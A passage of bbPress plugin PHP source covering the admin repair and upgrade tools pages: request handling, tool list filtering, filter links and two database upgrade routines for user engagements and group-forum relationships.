	 *
	 * @param string $component
	 */
	function bbp_get_admin_repair_tool_run_url( $component = array() ) {

		// Page
		$page = ( 'repair' === $component['type'] )
			? 'bbp-repair'
			: 'bbp-upgrade';

		// Arguments
		$args = array(
			'page'    => $page,
			'action'  => 'run',
			'checked' => array( $component['id'] )
		);

		// Url
		$nonced = wp_nonce_url( bbp_get_admin_repair_tool_page_url( $args ), 'bbpress-do-counts' );

		// Filter & return
		return apply_filters( 'bbp_get_admin_repair_tool_run_url', $nonced, $component );
	}

/**
 * Assemble the admin notices
 *
 * @since 2.0.0 bbPress (r2613)
 *
 * @param string|WP_Error $message        A message to be displayed or {@link WP_Error}
 * @param string          $class          Optional. A class to be added to the message div
 * @param bool            $is_dismissible Optional. True to dismiss, false to persist
 *
 * @return string The message HTML
 */
function bbp_admin_tools_feedback( $message, $class = false, $is_dismissible = true ) {
	return bbp_admin()->add_notice( $message, $class, $is_dismissible );
}

/**
 * Handle the processing and feedback of the admin tools page
 *
 * @since 2.0.0 bbPress (r2613)
 *
 */
function bbp_admin_repair_handler() {

	// Bail if not an actionable request
	if ( ! bbp_is_get_request() ) {
		return;
	}

	// Get the current action or bail
	if ( ! empty( $_GET['action'] ) ) {
		$action = sanitize_key( $_GET['action'] );
	} elseif ( ! empty( $_GET['action2'] ) ) {
		$action = sanitize_key( $_GET['action2'] );
	} else {
		return;
	}

	// Bail if not running an action
	if ( 'run' !== $action ) {
		return;
	}

	check_admin_referer( 'bbpress-do-counts' );

	// Parse list of checked repairs
	$checked = ! empty( $_GET['checked'] )
		? array_map( 'sanitize_key', $_GET['checked'] )
		: array();

	// Flush all caches before running tools
	wp_cache_flush();

	// Get the list
	$list = bbp_get_admin_repair_tools();

	// Stores messages
	$messages = array();

	// Run through checked repair tools
	if ( count( $checked ) ) {
		foreach ( $checked as $item_id ) {
			if ( isset( $list[ $item_id ] ) && is_callable( $list[ $item_id ]['callback'] ) ) {
				$messages[] = call_user_func( $list[ $item_id ]['callback'] );

				// Remove from pending
				bbp_remove_pending_upgrade( $item_id );
			}
		}
	}

	// Feedback
	if ( count( $messages ) ) {
		foreach ( $messages as $message ) {
			bbp_admin_tools_feedback( $message[1] );
		}
	}

	// Flush all caches after running tools
	wp_cache_flush();
}

/**
 * Get the array of available repair tools
 *
 * @since 2.6.0 bbPress (r5885)
 *
 * @param string $type repair|upgrade The type of tools to get. Default empty for all tools.
 * @return array
 */
function bbp_get_admin_repair_tools( $type = '' ) {

	// Get tools array
	$tools = ! empty( bbp_admin()->tools )
		? bbp_admin()->tools
		: array();

	// Maybe limit to type (otherwise return all tools)
	if ( ! empty( $type ) ) {
		$tools = wp_list_filter( bbp_admin()->tools, array( 'type' => $type ) );
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_admin_repair_tools', $tools, $type );
}

/**
 * Return array of components from the array of registered tools
 *
 * @since 2.5.0 bbPress (r5885)
 *
 * @return array
 */
function bbp_get_admin_repair_tool_registered_components() {

	// Default return value
	$retval = array();

	// Get tools
	$tools  = bbp_get_admin_repair_tools( bbp_get_admin_repair_tool_page_id() );

	// Loop through tools
	if ( ! empty( $tools ) ) {
		$plucked = wp_list_pluck( $tools, 'components' );

		// Loop through components
		if ( count( $plucked ) ) {
			foreach ( $plucked as $components ) {
				foreach ( $components as $component ) {

					// Skip if already in array
					if ( in_array( $component, $retval, true ) ) {
						continue;
					}

					// Add component to the array
					$retval[] = $component;
				}
			}
		}
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_admin_repair_tool_registered_components', $retval );
}

/**
 * Output the repair list search form
 *
 * @since 2.6.0 bbPress (r5885)
 */
function bbp_admin_repair_list_search_form() {
	?>

	<p class="search-box">
		<label class="screen-reader-text" for="bbp-repair-search-input"><?php esc_html_e( 'Search Tools:', 'bbpress' ); ?></label>
		<input type="search" id="bbp-repair-search-input" name="s" value="<?php _admin_search_query(); ?>">
		<input type="submit" id="search-submit" class="button" value="<?php esc_html_e( 'Search Tools', 'bbpress' ); ?>">
	</p>

	<?php
}

/**
 * Output a select drop-down of components to filter by
 *
 * @since 2.5.0 bbPress (r5885)
 */
function bbp_admin_repair_list_components_filter() {

	// Sanitize component value, if exists
	$selected = ! empty( $_GET['components'] )
		? sanitize_key( $_GET['components'] )
		: '';

	// Get registered components
	$components = bbp_get_admin_repair_tool_registered_components();

	// Bail if no components
	if ( empty( $components ) ) {
		return;
	} ?>

	<label class="screen-reader-text" for="components"><?php esc_html_e( 'Filter by Component', 'bbpress' ); ?></label>
	<select name="components" id="components" class="postform">
		<option value="" <?php selected( $selected, false ); ?>><?php esc_html_e( 'All Components', 'bbpress' ); ?></option>

		<?php foreach ( $components as $component ) : ?>

			<option class="level-0" value="<?php echo esc_attr( $component ); ?>" <?php selected( $selected, $component ); ?>><?php echo esc_html( bbp_admin_repair_tool_translate_component( $component ) ); ?></option>

		<?php endforeach; ?>

	</select>

	<?php
}

/**
 * Return array of versions from the array of registered tools
 *
 * @since 2.6.0 bbPress (r6894)
 *
 * @return array
 */
function bbp_get_admin_repair_tool_registered_versions() {

	// Default return value
	$retval = array();

	// Get tools
	$tools  = bbp_get_admin_repair_tools( bbp_get_admin_repair_tool_page_id() );

	// Loop through tools
	if ( ! empty( $tools ) ) {
		$plucked = wp_list_pluck( $tools, 'version' );

		// Loop through components
		if ( count( $plucked ) ) {
			foreach ( $plucked as $versions ) {

				// Skip if empty
				if ( empty( $versions ) ) {
					continue;

				// Cast to array if string
				} elseif ( is_string( $versions ) ) {
					$versions = (array) $versions;
				}

				// Loop through versions
				foreach ( $versions as $version ) {

					// Skip if already in array
					if ( in_array( $version, $retval, true ) ) {
						continue;
					}

					// Add component to the array
					$retval[] = $version;
				}
			}
		}
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_admin_repair_tool_registered_versions', $retval );
}

/**
 * Output a select drop-down of versions to filter by
 *
 * @since 2.5.0 bbPress (r6894)
 */
function bbp_admin_repair_list_versions_filter() {

	// Sanitize component value, if exists
	$selected = ! empty( $_GET['version'] )
		? sanitize_text_field( $_GET['version'] )
		: '';

	// Get registered components
	$versions = bbp_get_admin_repair_tool_registered_versions();

	// Bail if no components
	if ( empty( $versions ) ) {
		return;
	} ?>

	<label class="screen-reader-text" for="version"><?php esc_html_e( 'Filter by Version', 'bbpress' ); ?></label>
	<select name="version" id="version" class="postform">
		<option value="" <?php selected( $selected, false ); ?>><?php esc_html_e( 'All Versions', 'bbpress' ); ?></option>

		<?php foreach ( $versions as $version ) : ?>

			<option class="level-0" value="<?php echo esc_attr( $version ); ?>" <?php selected( $selected, $version ); ?>><?php echo esc_html( bbp_admin_repair_tool_translate_version( $version ) ); ?></option>

		<?php endforeach; ?>

	</select>

	<?php
}

/** Translations **************************************************************/

/**
 * Maybe translate a repair tool overhead name
 *
 * @since 2.6.0 bbPress (r6177)
 *
 * @param string $overhead
 * @return string
 */
function bbp_admin_repair_tool_translate_overhead( $overhead = '' ) {

	// Get the name of the component
	switch ( $overhead ) {
		case 'low' :
			$name = esc_html__( 'Low', 'bbpress' );
			break;
		case 'medium' :
			$name = esc_html__( 'Medium', 'bbpress' );
			break;
		case 'high' :
			$name = esc_html__( 'High', 'bbpress' );
			break;
		default :
			$name = ucwords( $overhead );
			break;
	}

	return $name;
}

/**
 * Maybe translate a repair tool component name
 *
 * @since 2.6.0 bbPress (r5885)
 *
 * @param string $component
 * @return string
 */
function bbp_admin_repair_tool_translate_component( $component = '' ) {

	// Get the name of the component
	switch ( $component ) {
		case 'bbp_user' :
			$name = esc_html__( 'Users', 'bbpress' );
			break;
		case bbp_get_forum_post_type() :
			$name = esc_html__( 'Forums', 'bbpress' );
			break;
		case bbp_get_topic_post_type() :
			$name = esc_html__( 'Topics', 'bbpress' );
			break;
		case bbp_get_reply_post_type() :
			$name = esc_html__( 'Replies', 'bbpress' );
			break;
		case bbp_get_topic_tag_tax_id() :
			$name = esc_html__( 'Topic Tags', 'bbpress' );
			break;
		case bbp_get_user_rewrite_id() :
			$name = esc_html__( 'Users', 'bbpress' );
			break;
		case bbp_get_user_favorites_rewrite_id() :
			$name = esc_html__( 'Favorites', 'bbpress' );
			break;
		case bbp_get_user_subscriptions_rewrite_id() :
			$name = esc_html__( 'Subscriptions', 'bbpress' );
			break;
		case bbp_get_user_engagements_rewrite_id() :
			$name = esc_html__( 'Engagements', 'bbpress' );
			break;
		default :
			$name = ucwords( $component );
			break;
	}

	return $name;
}

/**
 * Maybe translate a repair tool overhead name
 *
 * @since 2.6.0 bbPress (r6894)
 *
 * @param string $version
 * @return string
 */
function bbp_admin_repair_tool_translate_version( $version = '' ) {

	// Get the version
	switch ( $version ) {
		case '2.5' :
		case '2.5.0' :
			$name = esc_html__( '2.5.0', 'bbpress' );
			break;
		case '2.6' :
		case '2.6.0' :
			$name = esc_html__( '2.6.0', 'bbpress' );
			break;
		default :
			$name = sanitize_text_field( $version );
			break;
	}

	return $name;
}

/** Lists *********************************************************************/

/**
 * Get the array of the repairs to show in a list table.
 *
 * Uses known filters to reduce the registered results down to the most finite
 * set of tools.
 *
 * @since 2.0.0 bbPress (r2613)
 *
 * @return array Repair list of options
 */
function bbp_admin_repair_list( $type = 'repair' ) {

	// Define empty array
	$repair_list = array();

	// Get the available tools
	$list = bbp_get_admin_repair_tools( $type );

	// Get pending upgrades
	$pending = bbp_get_pending_upgrades();

	// Search
	$search = ! empty( $_GET['s'] )
		? stripslashes( $_GET['s'] )
		: '';

	// Status
	$status = ! empty( $_GET['status'] )
		? sanitize_key( $_GET['status'] )
		: '';

	// Overhead
	$overhead  = ! empty( $_GET['overhead'] )
		? sanitize_key( $_GET['overhead'] )
		: '';

	// Component
	$component = ! empty( $_GET['components'] )
		? sanitize_key( $_GET['components'] )
		: '';

	// Version
	$version = ! empty( $_GET['version'] )
		? sanitize_text_field( $_GET['version'] )
		: '';

	// Orderby
	$orderby = ! empty( $_GET['orderby'] )
		? sanitize_key( $_GET['orderby'] )
		: 'priority';

	// Order
	$order = ! empty( $_GET['order'] ) && in_array( strtolower( $_GET['order'] ), array( 'asc', 'desc' ), true )
		? strtolower( $_GET['order'] )
		: 'asc';

	// Overhead filter
	if ( ! empty( $overhead ) ) {
		$list = wp_list_filter( $list, array( 'overhead' => $overhead ) );
	}

	if ( count( $list ) ) {

		// Loop through and key by priority for sorting
		foreach ( $list as $id => $tool ) {

			// Status filter
			if ( ! empty( $status ) && ( 'pending' === $status ) ) {
				if ( ! in_array( $id, (array) $pending, true ) ) {
					continue;
				}
			}

			// Component filter
			if ( ! empty( $component ) ) {
				if ( ! in_array( $component, (array) $tool['components'], true ) ) {
					continue;
				}
			}

			// Version filter
			if ( ! empty( $version ) ) {
				if ( ! in_array( $version, (array) $tool['version'], true ) ) {
					continue;
				}
			}

			// Search
			if ( ! empty( $search ) ) {
				if ( ! strstr( strtolower( $tool['title'] ), strtolower( $search ) ) ) {
					continue;
				}
			}

			// Add to repair list
			$repair_list[ $tool['priority'] ] = array(
				'id'          => sanitize_key( $id ),
				'type'        => $tool['type'],
				'title'       => $tool['title'],
				'priority'    => $tool['priority'],
				'description' => $tool['description'],
				'callback'    => $tool['callback'],
				'overhead'    => $tool['overhead'],
				'version'     => $tool['version'],
				'components'  => $tool['components']
			);
		}
	}

	// Sort
	$retval = wp_list_sort( $repair_list, $orderby, $order, true );

	// Filter & return
	return (array) apply_filters( 'bbp_repair_list', $retval );
}

/**
 * Get filter links for components for a specific admin repair tool
 *
 * @since 2.6.0 bbPress (r5885)
 *
 * @param array $item
 * @return array
 */
function bbp_get_admin_repair_tool_components( $item = array() ) {

	// Get the tools URL
	$tools_url = bbp_get_admin_repair_tool_page_url();

	// Define links array
	$links      = array();
	$components = ! empty( $item['components'] )
		? (array) $item['components']
		: array();

	// Loop through tool components and build links
	if ( count( $components ) ) {
		foreach ( $components as $component ) {
			$args       = array( 'components' => $component );
			$filter_url = add_query_arg( $args, $tools_url );
			$name       = bbp_admin_repair_tool_translate_component( $component );
			$links[]    = '<a href="' . esc_url( $filter_url ) . '">' . esc_html( $name ) . '</a>';
		}

	// No components, so return a dash
	} else {
		$links[] = '&mdash;';
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_admin_repair_tool_components', $links, $item );
}

/**
 * Get filter links for versions for a specific admin repair tool
 *
 * @since 2.6.0 bbPress (r6894)
 *
 * @param array $item
 * @return array
 */
function bbp_get_admin_repair_tool_version( $item = array() ) {

	// Get the tools URL
	$tools_url = bbp_get_admin_repair_tool_page_url();

	// Define links array
	$links    = array();
	$versions = ! empty( $item['version'] )
		? (array) $item['version']
		: array();

	// Loop through tool versions and build links
	if ( count( $versions ) ) {
		foreach ( $versions as $version ) {
			$args       = array( 'version' => $version );
			$filter_url = add_query_arg( $args, $tools_url );
			$name       = bbp_admin_repair_tool_translate_version( $version );
			$links[]    = '<a href="' . esc_url( $filter_url ) . '">' . esc_html( $name ) . '</a>';
		}

	// No versions, so return a dash
	} else {
		$links[] = '&mdash;';
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_admin_repair_tool_version', $links, $item );
}

/**
 * Get filter links for overhead for a specific admin repair tool
 *
 * @since 2.6.0 bbPress (r5885)
 *
 * @param array $item
 * @return array
 */
function bbp_get_admin_repair_tool_overhead( $item = array() ) {

	// Get the tools URL
	$tools_url = bbp_get_admin_repair_tool_page_url();

	// Define links array
	$links     = array();
	$overheads = ! empty( $item['overhead'] )
		? (array) $item['overhead']
		: array();

	// Loop through tool overhead and build links
	if ( count( $overheads ) ) {
		foreach ( $overheads as $overhead ) {
			$args       = array( 'overhead' => $overhead );
			$filter_url = add_query_arg( $args, $tools_url );
			$name       = bbp_admin_repair_tool_translate_overhead( $overhead );
			$links[]    = '<a href="' . esc_url( $filter_url ) . '">' . esc_html( $name ) . '</a>';
		}

	// No overhead, so return a single dash
	} else {
		$links[] = '&mdash;';
	}

	// Filter & return
	return (array) apply_filters( 'bbp_get_admin_repair_tool_overhead', $links, $item );
}

/** Overhead ******************************************************************/

/**
 * Output filter links for overheads for a specific admin repair tool
 *
 * @since 2.6.0 bbPress (r5885)
 *
 * @param array $args
 */
function bbp_admin_repair_tool_overhead_filters( $args = array() ) {
	echo bbp_get_admin_repair_tool_overhead_filters( $args );
}

/**
 * Get filter links for overheads for a specific admin repair tool
 *
 * @since 2.6.0 bbPress (r5885)
 *
 * @param array $args
 * @return array
 */
function bbp_get_admin_repair_tool_overhead_filters( $args = array() ) {

	// Parse args
	$r = bbp_parse_args( $args, array(
		'before'       => '<ul class="subsubsub">',
		'after'        => '</ul>',
		'link_before'  => '<li>',
		'link_after'   => '</li>',
		'count_before' => ' <span class="count">(',
		'count_after'  => ')</span>',
		'sep'          => ' | ',

		// Retired, use 'sep' instead
		'separator'    => false
	), 'get_admin_repair_tool_overhead_filters' );

	/**
	 * Necessary for backwards compatibility
	 * @see https://bbpress.trac.wordpress.org/ticket/2900
	 */
	if ( ! empty( $r['separator'] ) ) {
		$r['sep'] = $r['separator'];
	}

	// Count the tools
	$tools = bbp_get_admin_repair_tools( bbp_get_admin_repair_tool_page_id() );

	// Get the tools URL
	$tools_url = bbp_get_admin_repair_tool_page_url();

	// Define arrays
	$overheads = $links = array();

	// Loop through tools and count overheads
	if ( count( $tools ) ) {
		foreach ( $tools as $tool ) {

			// Get the overhead level
			$overhead = $tool['overhead'];

			// Set an empty count
			if ( empty( $overheads[ $overhead ] ) ) {
				$overheads[ $overhead ] = 0;
			}

			// Bump the overhead count
			$overheads[ $overhead ]++;
		}
	}

	// Get the current overhead, if any
	$selected = ! empty( $_GET['overhead'] )
		? sanitize_key( $_GET['overhead'] )
		: '';

	// Create the "All" link
	$current = empty( $selected ) ? 'current' : '';
	$links[] = $r['link_before'] . '<a href="' . esc_url( $tools_url ) . '" class="' . esc_attr( $current ) . '">' . sprintf( esc_html__( 'All %s', 'bbpress' ), $r['count_before'] . count( $tools ) . $r['count_after'] ) . '</a>' . $r['link_after'];

	// Loop through overheads and created links
	if ( count( $overheads ) ) {

		// Sort
		ksort( $overheads );

		// Loop through overheads and build filter
		foreach ( $overheads as $overhead => $count ) {

			// Build the filter URL
			$key        = sanitize_key( $overhead );
			$args       = array( 'overhead' => $key );
			$filter_url = add_query_arg( $args, $tools_url );

			// Figure out separator and active class
			$current  = ( $selected === $key )
				? 'current'
				: '';

			// Counts to show
			if ( ! empty( $count ) ) {
				$overhead_count = $r['count_before'] . $count . $r['count_after'];
			}

			// Build the link
			$links[] = $r['link_before'] . '<a href="' . esc_url( $filter_url ) . '" class="' . esc_attr( $current ) . '">' . bbp_admin_repair_tool_translate_overhead( $overhead ) . $overhead_count . '</a>' . $r['link_after'];
		}
	}

	// Surround output with before & after strings
	$output = $r['before'] . implode( $r['sep'], $links ) . $r['after'];

	// Filter & return
	return apply_filters( 'bbp_get_admin_repair_tool_overhead_filters', $output, $r, $args );
}

/** Pending ******************************************************************/

/**
 * Output filter links for statuses
 *
 * @since 2.6.0 bbPress (r6925)
 *
 * @param array $args
 */
function bbp_admin_repair_tool_status_filters( $args = array() ) {
	echo bbp_get_admin_repair_tool_status_filters( $args );
}

/**
 * Get filter links for statuses
 *
 * @since 2.6.0 bbPress (r5885)
 *
 * @param array $args
 * @return array
 */
function bbp_get_admin_repair_tool_status_filters( $args = array() ) {

	// Parse args
	$r = bbp_parse_args( $args, array(
		'before'       => '<ul class="subsubsub">',
		'after'        => '</ul>',
		'link_before'  => '<li>',
		'link_after'   => '</li>',
		'count_before' => ' <span class="count">(',
		'count_after'  => ')</span>',
		'sep'          => ' | ',

		// Retired, use 'sep' instead
		'separator'    => false
	), 'get_admin_repair_tool_status_filters' );

	/**
	 * Necessary for backwards compatibility
	 * @see https://bbpress.trac.wordpress.org/ticket/2900
	 */
	if ( ! empty( $r['separator'] ) ) {
		$r['sep'] = $r['separator'];
	}

	// Get the type of tool
	$type = bbp_get_admin_repair_tool_page_id();

	// Count the tools
	$tools = bbp_get_admin_repair_tools( $type );

	// Get the tools URL
	$tools_url = bbp_get_admin_repair_tool_page_url();

	// Get pending upgrades
	$pending = bbp_get_pending_upgrades( $type );

	// Get the current status, if any
	$selected = ! empty( $_GET['status'] )
		? sanitize_key( $_GET['status'] )
		: '';

	// Nothing is current?
	$all_current = empty( $selected )
		? 'current'
		: '';

	// Pending is current?
	$pending_current = ( 'pending' === $selected )
		? 'current'
		: '';

	// Sort
	ksort( $pending );

	// Build the filter URL
	$filter_url = add_query_arg( array(
		'status' => 'pending'
	), $tools_url );

	// Count HTML
	$all_count     = $r['count_before'] . count( $tools   ) . $r['count_after'];
	$pending_count = $r['count_before'] . count( $pending ) . $r['count_after'];

	// Define links
	$links = array(
		$r['link_before'] . '<a href="' . esc_url( $tools_url  ) . '" class="' . esc_attr( $all_current     ) . '">' . sprintf( esc_html__( 'All %s',     'bbpress' ), $all_count     ) . '</a>' . $r['link_after'],
		$r['link_before'] . '<a href="' . esc_url( $filter_url ) . '" class="' . esc_attr( $pending_current ) . '">' . sprintf( esc_html__( 'Pending %s', 'bbpress' ), $pending_count ) . '</a>' . $r['link_after']
	);

	// Surround output with before & after strings
	$output = $r['before'] . implode( $r['sep'], $links ) . $r['after'];

	// Filter & return
	return apply_filters( 'bbp_get_admin_repair_tool_status_filters', $output, $r, $args );
}
includes/admin/tools/upgrade.php000066600000056422151771460310012764 0ustar00<?php

/**
 * bbPress Admin Upgrade Functions
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Admin repair page
 *
 * @since 2.6.0 bbPress (r6278)
 *
 */
function bbp_admin_upgrade_page() {

	// Get the registered upgrade tools
	$tools = bbp_admin_repair_list( 'upgrade' );

	// Orderby
	$orderby = ! empty( $_GET['orderby'] )
		? sanitize_key( $_GET['orderby'] )
		: 'priority';

	// Order
	$order = ! empty( $_GET['order'] ) && in_array( strtolower( $_GET['order'] ), array( 'asc', 'desc' ), true )
		? strtolower( $_GET['order'] )
		: 'asc';

	// New order
	$new_order = ( 'desc' === $order )
		? 'asc'
		: 'desc'; ?>

	<div class="wrap">
		<h1 class="wp-heading-inline"><?php esc_html_e( 'Forum Tools', 'bbpress' ); ?></h1>
		<hr class="wp-header-end">
		<h2 class="nav-tab-wrapper"><?php bbp_tools_admin_tabs( 'bbp-upgrade' ); ?></h2>

		<p><?php esc_html_e( 'As bbPress improves, occasionally database upgrades are required but some forums are too large to upgrade automatically. Use the tools below to manually run upgrade routines.', 'bbpress' ); ?></p>
		<p class="description"><?php esc_html_e( 'Some of these tools create substantial database overhead. Use caution when running more than 1 upgrade at a time.', 'bbpress' ); ?></p>

		<?php bbp_admin_repair_tool_status_filters(); ?>

		<form class="settings" method="get" action="">

			<?php bbp_admin_repair_list_search_form(); ?>

			<input type="hidden" name="page" value="bbp-upgrade" />
			<?php wp_nonce_field( 'bbpress-do-counts' ); ?>

			<div class="tablenav top">
				<div class="alignleft actions bulkactions">
					<label for="bulk-action-selector-top" class="screen-reader-text"><?php esc_html_e( 'Select bulk action', 'bbpress' ); ?></label>
					<select name="action" id="bulk-action-selector-top">
						<option value="" selected="selected"><?php esc_html_e( 'Bulk Actions', 'bbpress' ); ?></option>
						<option value="run" class="hide-if-no-js"><?php esc_html_e( 'Run', 'bbpress' ); ?></option>
					</select>
					<input type="submit" id="doaction" class="button action" value="<?php esc_attr_e( 'Apply', 'bbpress' ); ?>">
				</div>
				<div class="alignleft actions">

					<?php bbp_admin_repair_list_components_filter(); ?>

					<?php bbp_admin_repair_list_versions_filter(); ?>

					<input type="submit" name="filter_action" id="components-submit" class="button" value="<?php esc_html_e( 'Filter', 'bbpress' ); ?>">
				</div>
				<br class="clear">
			</div>
			<table class="wp-list-table widefat striped posts">
				<thead>
					<tr>
						<td id="cb" class="manage-column column-cb check-column">
							<label class="screen-reader-text" for="cb-select-all-1">
								<?php esc_html_e( 'Select All', 'bbpress' ); ?>
							</label>
							<input id="cb-select-all-1" type="checkbox">
						</td>
						<th scope="col" id="description" class="manage-column column-primary column-description sortable <?php echo ( 'priority' === $orderby ) ? esc_attr( $order ) : 'asc'; ?>">
							<a href="<?php echo esc_url( bbp_get_admin_repair_tool_page_url( array(
									'orderby' => 'priority',
									'order'   => $new_order
								) ) ); ?>"><span><?php esc_html_e( 'Description', 'bbpress' ); ?></span><span class="sorting-indicator"></span>
							</a>
						</th>
						<th scope="col" id="version" class="manage-column column-version sortable <?php echo ( 'version' === $orderby ) ? esc_attr( $order ) : 'asc'; ?>">
							<a href="<?php echo esc_url( bbp_get_admin_repair_tool_page_url( array(
									'orderby' => 'version',
									'order'   => $new_order
								) ) ); ?>"><span><?php esc_html_e( 'Version', 'bbpress' ); ?></span><span class="sorting-indicator"></span>
							</a>
						</th>
						<th scope="col" id="components" class="manage-column column-components"><?php esc_html_e( 'Components', 'bbpress' ); ?></th>
						<th scope="col" id="overhead" class="manage-column column-overhead sortable <?php echo ( 'overhead' === $orderby ) ? esc_attr( $order ) : 'asc'; ?>">
							<a href="<?php echo esc_url( bbp_get_admin_repair_tool_page_url( array(
									'orderby' => 'overhead',
									'order'   => $new_order
								) ) ); ?>"><span><?php esc_html_e( 'Overhead', 'bbpress' ); ?></span><span class="sorting-indicator"></span>
							</a>
						</th>
					</tr>
				</thead>

				<tbody id="the-list">

					<?php if ( ! empty( $tools ) ) : ?>

						<?php foreach ( $tools as $item ) : ?>

							<tr id="bbp-repair-tools" class="inactive">
								<th scope="row" class="check-column">
									<label class="screen-reader-text" for="<?php echo esc_attr( str_replace( '_', '-', $item['id'] ) ); ?>"></label>
									<input type="checkbox" name="checked[]" value="<?php echo esc_attr( $item['id'] ); ?>" id="<?php echo esc_attr( str_replace( '_', '-', $item['id'] ) ); ?>">
								</th>
								<td class="bbp-tool-title column-primary column-description" data-colname="<?php esc_html_e( 'Description', 'bbpress' ); ?>">
									<strong><?php echo esc_html( $item['title'] ); ?></strong><?php

										// Optional description
										if ( ! empty( $item['description'] ) ) :
											echo '<p class="description">' . esc_html( $item['description'] ) . '</p>';
										endif;

									?><div class="row-actions hide-if-no-js">
										<span class="run">
											<a href="<?php bbp_admin_repair_tool_run_url( $item ); ?>" aria-label="<?php printf( esc_html__( 'Run %s', 'bbpress' ), $item['title'] ); ?>" id="<?php echo esc_attr( $item['id'] ); ?>" ><?php esc_html_e( 'Run', 'bbpress' ); ?></a>
										</span>
									</div>
									<button type="button" class="toggle-row">
										<span class="screen-reader-text"><?php esc_html_e( 'Show more details', 'bbpress' ); ?></span>
									</button>
								</td>
								<td class="column-version desc" data-colname="<?php esc_html_e( 'Version', 'bbpress' ); ?>">
									<div class="bbp-tool-version">

										<?php echo implode( ', ', bbp_get_admin_repair_tool_version( $item ) ); ?>

									</div>
								</td>
								<td class="column-components desc" data-colname="<?php esc_html_e( 'Components', 'bbpress' ); ?>">
									<div class="bbp-tool-components">

										<?php echo implode( ', ', bbp_get_admin_repair_tool_components( $item ) ); ?>

									</div>
								</td>
								<td class="column-overhead desc" data-colname="<?php esc_html_e( 'Overhead', 'bbpress' ); ?>">
									<div class="bbp-tool-overhead">

										<?php echo implode( ', ', bbp_get_admin_repair_tool_overhead( $item ) ); ?>

									</div>
								</td>
							</tr>

						<?php endforeach; ?>

					<?php else : ?>

						<tr>
							<td colspan="4">
								<?php esc_html_e( 'No repair tools match this criteria.', 'bbpress' ); ?>
							</td>
						</tr>

					<?php endif; ?>

				</tbody>
				<tfoot>
					<tr>
						<td class="manage-column column-cb check-column">
							<label class="screen-reader-text" for="cb-select-all-2">
								<?php esc_html_e( 'Select All', 'bbpress' ); ?>
							</label>
							<input id="cb-select-all-2" type="checkbox">
						</td>
						<th scope="col" class="manage-column column-primary column-description"><?php esc_html_e( 'Description', 'bbpress' ); ?></th>
						<th scope="col" class="manage-column column-version"><?php esc_html_e( 'Version', 'bbpress' ); ?></th>
						<th scope="col" class="manage-column column-components"><?php esc_html_e( 'Components', 'bbpress' ); ?></th>
						<th scope="col" class="manage-column column-overhead"><?php esc_html_e( 'Overhead', 'bbpress' ); ?></th>
					</tr>
				</tfoot>
			</table>
			<div class="tablenav bottom">
				<div class="alignleft actions bulkactions">
					<label for="bulk-action-selector-bottom" class="screen-reader-text"><?php esc_html_e( 'Select bulk action', 'bbpress' ); ?></label>
					<select name="action2" id="bulk-action-selector-bottom">
						<option value="" selected="selected"><?php esc_html_e( 'Bulk Actions', 'bbpress' ); ?></option>
						<option value="run" class="hide-if-no-js"><?php esc_html_e( 'Run', 'bbpress' ); ?></option>
					</select>
					<input type="submit" id="doaction2" class="button action" value="<?php esc_attr_e( 'Apply', 'bbpress' ); ?>">
				</div>
			</div>
		</form>
	</div>

<?php
}

/**
 * Upgrade user engagements for bbPress 2.6 and higher
 *
 * @since 2.6.0 bbPress (r6320)
 *
 * @return array An array of the status code and the message
 */
function bbp_admin_upgrade_user_engagements() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Upgrading user engagements&hellip; %s', 'bbpress' );
	$result    = esc_html__( 'No engagements to upgrade.',            'bbpress' );

	// Delete previous engagements
	$sql_delete = "DELETE FROM {$bbp_db->postmeta} WHERE meta_key = '_bbp_engagement'";
	if ( is_wp_error( $bbp_db->query( $sql_delete ) ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Post types and statuses
	$tpt = bbp_get_topic_post_type();
	$rpt = bbp_get_reply_post_type();
	$pps = bbp_get_public_status_id();
	$cps = bbp_get_closed_status_id();
	$sql = "INSERT INTO {$bbp_db->postmeta} (post_id, meta_key, meta_value) (
			SELECT postmeta.meta_value, '_bbp_engagement', posts.post_author
				FROM {$bbp_db->posts} AS posts
				LEFT JOIN {$bbp_db->postmeta} AS postmeta
					ON posts.ID = postmeta.post_id
					AND postmeta.meta_key = '_bbp_topic_id'
				WHERE posts.post_type IN (%s, %s)
					AND posts.post_status IN (%s, %s)
				GROUP BY postmeta.meta_value, posts.post_author)";

	// Run the big query
	$prepare     = $bbp_db->prepare( $sql, $tpt, $rpt, $pps, $cps );
	$engagements = $bbp_db->query( $prepare );

	// Bail if no closed topics found
	if ( empty( $engagements ) || is_wp_error( $engagements ) ) {
		return array( 1, sprintf( $statement, $result ) );
	}

	// Complete results
	$result = sprintf( _n( 'Complete! %d engagement upgraded.', 'Complete! %d engagements upgraded.', $engagements, 'bbpress' ), bbp_number_format( $engagements ) );

	return array( 0, sprintf( $statement, $result ) );
}

/**
 * Upgrade group forum ID mappings after a bbPress 1.x to bbPress 2.x conversion
 *
 * Previously named: bbp_admin_repair_group_forum_relationships()
 *
 * @since 2.6.0 bbPress (r4395)
 *
 * @return If a wp_error() occurs and no converted forums are found
 */
function bbp_admin_upgrade_group_forum_relationships() {

	// Define variables
	$bbp_db    = bbp_db();
	$statement = esc_html__( 'Upgrading BuddyPress group-forum relationships&hellip; %s', 'bbpress' );
	$g_count   = 0;
	$f_count   = 0;
	$s_count   = 0;

	// Copy the BuddyPress filter here, incase BuddyPress is not active
	$prefix            = apply_filters( 'bp_core_get_table_prefix', $bbp_db->base_prefix );
	$groups_table      = $prefix . 'bp_groups';
	$groups_meta_table = $prefix . 'bp_groups_groupmeta';

	// Get the converted forum IDs
	$forum_ids = $bbp_db->query( "SELECT `forum`.`ID`, `forummeta`.`meta_value`
								FROM `{$bbp_db->posts}` AS `forum`
									LEFT JOIN `{$bbp_db->postmeta}` AS `forummeta`
										ON `forum`.`ID` = `forummeta`.`post_id`
										AND `forummeta`.`meta_key` = '_bbp_old_forum_id'
								WHERE `forum`.`post_type` = '" . bbp_get_forum_post_type() . "'
								GROUP BY `forum`.`ID`" );

	// Bail if forum IDs returned an error
	if ( is_wp_error( $forum_ids ) || empty( $bbp_db->last_result ) ) {
